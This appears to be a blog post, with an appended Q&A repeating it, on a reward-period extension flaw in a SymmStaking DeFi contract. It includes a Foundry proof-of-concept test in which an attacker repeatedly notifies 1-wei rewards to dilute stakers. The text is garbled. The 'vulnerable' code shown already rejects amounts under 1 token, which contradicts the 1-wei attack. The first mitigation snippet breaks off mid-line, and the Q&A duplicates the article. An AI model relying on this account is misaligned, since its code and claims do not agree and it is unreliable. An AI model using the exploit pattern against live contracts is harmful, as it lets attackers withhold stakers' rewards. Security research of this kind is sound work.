Add a Minimum Reward Threshold

Oct 13, 2025 by wbrum.org 34 views

Late Candy Cod - Missing Access Control Allows Reward Period Extension Attack

Introduction

In the world of decentralized finance (DeFi), staking mechanisms are a crucial component of many protocols. However, a recent vulnerability in the SymmStaking contract has been discovered, allowing an attacker to dilute rewards for stakers. In this article, we will delve into the details of the vulnerability, its impact, and the proposed mitigations to prevent such attacks in the future.

Summary

The lack of access control in the notifyRewardAmount() function in SymmStaking.sol allows anyone to invoke the function and extend the reward distribution period by calling _addRewardsForToken, which resets periodFinish to block.timestamp + duration with even a minimal reward amount (e.g., 1 wei). This vulnerability can be exploited by an attacker to repeatedly extend the reward period, diluting the rewards for stakers.

Root Cause

The root cause of this vulnerability lies in the notifyRewardAmount() function, which lacks access control checks to restrict who can call it. This allows anyone to invoke the function and extend the reward distribution period by calling _addRewardsForToken, which resets periodFinish to block.timestamp + duration with even a minimal reward amount (e.g., 1 wei).

// notifyRewardAmount function in SymmStaking.sol
function notifyRewardAmount(address[] calldata tokens, uint256[] calldata amounts)
    external
    nonReentrant
    whenNotPaused
{
    _updateRewardsStates(address(0));
    if (tokens.length != amounts.length) revert ArraysMismatched();

    uint256 len = tokens.length;
    for (uint256 i = 0; i < len; i++) {
        address token = tokens[i];
        uint256 amount = amounts[i];

        if (amount < 1 * 10**18) revert("Amount too small"); // Minimum 1 token
        if (!isRewardToken[token]) revert TokenNotWhitelisted(token);

        IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
        pendingRewards[token] += amount;
        _addRewardsForToken(token, amount);
    }
    emit RewardNotified(tokens, amounts);
}

Internal Pre-conditions

For the attack to be successful, the following pre-conditions must be met:

The staking contract must have at least one whitelisted reward token (Admin needs to call configureRewardToken to set isRewardToken[rewardToken1] to be exactly true).
Any user, including an attacker, must be able to call notifyRewardAmount (User1 needs to call deposit to set balanceOf[user1] to be at least 500 * 10**18).
Admin needs to call notifyRewardAmount to set pendingRewards[rewardToken1] to be at least 100 * 10**18 (The reward duration is extended every time notifyRewardAmount is called with a nonzero amount).

External Pre-conditions

For the attack to be successful, the following external pre-conditions must be met:

The attacker must have a minimal amount of the reward token to call notifyRewardAmount repeatedly.
Gas fees must be low enough for repeated calls to be economically viable.

Attack Path

The attack path is as follows:

User1 calls deposit to stake 500 tokens, expecting to earn rewards from the admin’s initial notification of 100 tokens over 1 week.
Admin calls notifyRewardAmount with tokens = [rewardToken1] and amounts = [100 * 10**18], setting the reward period to end in 1 week (WEEK).
Attacker calls notifyRewardAmount with tokens = [rewardToken1] and amounts = [1 wei] repeatedly (e.g., every few hours or daily), each call extending periodFinish by 1 week from the current block.timestamp.
User1 attempts to claim rewards at the original periodFinish, but the reward rate is diluted due to the extended period, and the full 100 tokens are not yet distributed.

Impact

The impact of this vulnerability is significant, as it can lead to:

Stakers suffering from indefinitely delayed or diluted rewards.
Delayed Reward Distribution: Legitimate stakers may never reach the originally planned claim period for their rewards, causing frustration and potentially reducing user engagement and trust in the protocol.
Attacker Advantage: The attacker can exploit the mechanism without significant cost, while the stakers bear the brunt of reduced and delayed rewards. Over time, this could drive users away, harming the protocol's overall value and market reputation.

PoC

A proof-of-concept (PoC) code is provided to demonstrate the vulnerability:

contract MockERC20 is ERC20Mock {
    constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20Mock() {
        _mint(msg.sender, initialSupply);
    }
}

contract SymmStakingExploitTest is Test {
    SymmStaking staking;
    MockERC20 stakingToken;
    MockERC20 rewardToken1;
    address admin = address(0x1);
    address user1 = address(0x2);
    address attacker = address(0x6);

    uint256 constant INITIAL_SUPPLY = 1_000_000 * 10**18;
    uint256 constant WEEK = 7 * 24 * 60 * 60;

    function setUp() public {
        stakingToken = new MockERC20("Staking Token", "STK", INITIAL_SUPPLY);
        rewardToken1 = new MockERC20("Reward Token 1", "RT1", INITIAL_SUPPLY);

        SymmStaking stakingImpl = new SymmStaking();
        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
            address(stakingImpl),
            admin,
            abi.encodeWithSelector(SymmStaking.initialize.selector, admin, address(stakingToken))
        );
        staking = SymmStaking(address(proxy));

        vm.startPrank(admin);
        staking.configureRewardToken(address(rewardToken1), true);
        vm.stopPrank();

        stakingToken.transfer(user1, 1000 * 10**18);
        rewardToken1.transfer(admin, 1000 * 10**18);
        rewardToken1.transfer(attacker, 1000 * 10**18);

        vm.prank(user1);
        stakingToken.approve(address(staking), type(uint256).max);
        vm.prank(attacker);
        rewardToken1.approve(address(staking), type(uint256).max);
        vm.prank(admin);
        rewardToken1.approve(address(staking), type(uint256).max);
    }

    function testRewardPeriodExtensionExploit() public {
        // User1 stakes tokens
        vm.prank(user1);
        staking.deposit(500 * 10**18, user1);

        // Admin sets initial rewards
        vm.startPrank(admin);
        address[] memory tokens = new address[](1);
        uint256[] memory amounts = new uint256[](1);
        tokens[0] = address(rewardToken1);
        amounts[0] = 100 * 10**18;
        staking.notifyRewardAmount(tokens, amounts);
        vm.stopPrank();

        // Record initial state
        uint256 startTime = block.timestamp;
        (, uint256 initialPeriodFinish, , , ) = staking.rewardState(address(rewardToken1));

        // Attacker extends reward period repeatedly
        uint256 day = 24 * 60 * 60;
        vm.startPrank(attacker);
        for (uint256 i = 0; i < WEEK / day; i++) {
            vm.warp(startTime + day * (i + 1));
            amounts[0] = 1; // 1 wei
            staking.notifyRewardAmount(tokens, amounts);
        }
        vm.stopPrank();

        // Warp to original finish and check
        vm.warp(initialPeriodFinish);
        uint256 earned = staking.earned(user1, address(rewardToken1));
        vm.prank(user1);
        staking.claimRewards();
        uint256 claimed = rewardToken1.balanceOf(user1);

        assertLt(earned, 100 * 10**18, "Rewards not fully distributed due to extension");
        assertApproxEqAbs(claimed, earned, 1e15, "Claimed matches earned");
    }
}

Mitigation

To prevent such attacks in the future, the following mitigations can be implemented:

Implement Access Control: Restrict notifyRewardAmount to be callable only by authorized roles (e.g., onlyOwner or onlyAdmin).
Add a Minimum Reward Threshold: Ensure that a significant minimum reward amount is required to trigger the function.
Prevent Repeated Small Additions: Enforce a cooldown period between consecutive calls to notifyRewardAmount.
Cap Reward Period Extensions: Set a maximum extension limit to prevent indefinite extensions.

By implementing these mitigations, the staking mechanism can maintain fair reward distribution and prevent manipulation by malicious actors.

Example Mitigation

Here is an example of how the notifyRewardAmount function can be modified to implement access control:

function notifyRewardAmount(address[] calldata tokens, uint256[] calldata amounts)
    external
    nonReentrant
    whenNotPaused
    onlyRole(REWARD_MANAGER_ROLE)
{
    _updateRewardsStates(address(0));
    if (tokens.length != amounts.length) revert ArraysMismatched();

    uint256 len = tokens.length;
    for (uint256 i = 0; i<br/>
**Late Candy Cod - Missing Access Control Allows Reward Period Extension Attack: Q&A**

### Introduction

In our previous article, we discussed the vulnerability in the SymmStaking contract that allows an attacker to dilute rewards for stakers. In this Q&A article, we will address some of the frequently asked questions related to this vulnerability and provide additional insights into the attack.

### Q: What is the root cause of this vulnerability?

A: The root cause of this vulnerability lies in the `notifyRewardAmount()` function in `SymmStaking.sol`, which lacks access control checks to restrict who can call it. This allows anyone to invoke the function and extend the reward distribution period by calling `_addRewardsForToken`, which resets `periodFinish` to `block.timestamp + duration` with even a minimal reward amount (e.g., 1 wei).

### Q: What are the pre-conditions for the attack to be successful?

A: For the attack to be successful, the following pre-conditions must be met:

1. The staking contract must have at least one whitelisted reward token (Admin needs to call `configureRewardToken` to set `isRewardToken[rewardToken1]` to be exactly true).
2. Any user, including an attacker, must be able to call `notifyRewardAmount` (User1 needs to call `deposit` to set `balanceOf[user1]` to be at least 500 * 10**18).
3. Admin needs to call `notifyRewardAmount` to set `pendingRewards[rewardToken1]` to be at least 100 * 10**18 (The reward duration is extended every time `notifyRewardAmount` is called with a nonzero amount).

### Q: What are the external pre-conditions for the attack to be successful?

A: For the attack to be successful, the following external pre-conditions must be met:

1. The attacker must have a minimal amount of the reward token to call `notifyRewardAmount` repeatedly.
2. Gas fees must be low enough for repeated calls to be economically viable.

### Q: What is the impact of this vulnerability?

A: The impact of this vulnerability is significant, as it can lead to:

1. Stakers suffering from indefinitely delayed or diluted rewards.
2. Delayed Reward Distribution: Legitimate stakers may never reach the originally planned claim period for their rewards, causing frustration and potentially reducing user engagement and trust in the protocol.
3. Attacker Advantage: The attacker can exploit the mechanism without significant cost, while the stakers bear the brunt of reduced and delayed rewards. Over time, this could drive users away, harming the protocol's overall value and market reputation.

### Q: How can the vulnerability be mitigated?

A: To prevent such attacks in the future, the following mitigations can be implemented:

1. **Implement Access Control**: Restrict `notifyRewardAmount` to be callable only by authorized roles (e.g., onlyOwner or onlyAdmin).
2. **Add a Minimum Reward Threshold**: Ensure that a significant minimum reward amount is required to trigger the function.
3. **Prevent Repeated Small Additions**: Enforce a cooldown period between consecutive calls to `notifyRewardAmount`.
4. **Cap Reward Period Extensions**: Set a maximum extension limit to prevent indefinite extensions.

### Q: What is the example mitigation for the `notifyRewardAmount` function?

A: Here is an example of how the `notifyRewardAmount` function can be modified to implement access control:

```solidity
function notifyRewardAmount(address[] calldata tokens, uint256[] calldata amounts)
    external
    nonReentrant
    whenNotPaused
    onlyRole(REWARD_MANAGER_ROLE)
{
    _updateRewardsStates(address(0));
    if (tokens.length != amounts.length) revert ArraysMismatched();

    uint256 len = tokens.length;
    for (uint256 i = 0; i < len; i++) {
        address token = tokens[i];
        uint256 amount = amounts[i];

        if (amount < 1 * 10**18) revert("Amount too small"); // Minimum 1 token
        if (!isRewardToken[token]) revert TokenNotWhitelisted(token);

        IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
        pendingRewards[token] += amount;
        _addRewardsForToken(token, amount);
    }
    emit RewardNotified(tokens, amounts);
}

Q: What is the PoC code for the vulnerability?

A: A proof-of-concept (PoC) code is provided to demonstrate the vulnerability:

contract MockERC20 is ERC20Mock {
    constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20Mock() {
        _mint(msg.sender, initialSupply);
    }
}

contract SymmStakingExploitTest is Test {
    SymmStaking staking;
    MockERC20 stakingToken;
    MockERC20 rewardToken1;
    address admin = address(0x1);
    address user1 = address(0x2);
    address attacker = address(0x6);

    uint256 constant INITIAL_SUPPLY = 1_000_000 * 10**18;
    uint256 constant WEEK = 7 * 24 * 60 * 60;

    function setUp() public {
        stakingToken = new MockERC20("Staking Token", "STK", INITIAL_SUPPLY);
        rewardToken1 = new MockERC20("Reward Token 1", "RT1", INITIAL_SUPPLY);

        SymmStaking stakingImpl = new SymmStaking();
        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
            address(stakingImpl),
            admin,
            abi.encodeWithSelector(SymmStaking.initialize.selector, admin, address(stakingToken))
        );
        staking = SymmStaking(address(proxy));

        vm.startPrank(admin);
        staking.configureRewardToken(address(rewardToken1), true);
        vm.stopPrank();

        stakingToken.transfer(user1, 1000 * 10**18);
        rewardToken1.transfer(admin, 1000 * 10**18);
        rewardToken1.transfer(attacker, 1000 * 10**18);

        vm.prank(user1);
        stakingToken.approve(address(staking), type(uint256).max);
        vm.prank(attacker);
        rewardToken1.approve(address(staking), type(uint256).max);
        vm.prank(admin);
        rewardToken1.approve(address(staking), type(uint256).max);
    }

    function testRewardPeriodExtensionExploit() public {
        // User1 stakes tokens
        vm.prank(user1);
        staking.deposit(500 * 10**18, user1);

        // Admin sets initial rewards
        vm.startPrank(admin);
        address[] memory tokens = new address[](1);
        uint256[] memory amounts = new uint256[](1);
        tokens[0] = address(rewardToken1);
        amounts[0] = 100 * 10**18;
        staking.notifyRewardAmount(tokens, amounts);
        vm.stopPrank();

        // Record initial state
        uint256 startTime = block.timestamp;
        (, uint256 initialPeriodFinish, , , ) = staking.rewardState(address(rewardToken1));

        // Attacker extends reward period repeatedly
        uint256 day = 24 * 60 * 60;
        vm.startPrank(attacker);
        for (uint256 i = 0; i < WEEK / day; i++) {
            vm.warp(startTime + day * (i + 1));
            amounts[0] = 1; // 1 wei
            staking.notifyRewardAmount(tokens, amounts);
        }
        vm.stopPrank();

        // Warp to original finish and check
        vm.warp(initialPeriodFinish);
        uint256 earned = staking.earned(user1, address(rewardToken1));
        vm.prank(user1);
        staking.claimRewards();
        uint256 claimed = rewardToken1.balanceOf(user1);

        assertLt(earned, 100 * 10**18, "Rewards not fully distributed due to extension");
        assertApproxEqAbs(claimed, earned, 1e15, "Claimed matches earned");
    }
}

Q: What is the takeaway from this vulnerability?

A: The takeaway from this vulnerability is that access control is crucial in smart contract development, and it should be implemented to prevent unauthorized access to sensitive functions. Additionally, it is essential to test and audit smart contracts thoroughly to identify potential vulnerabilities before they are exploited.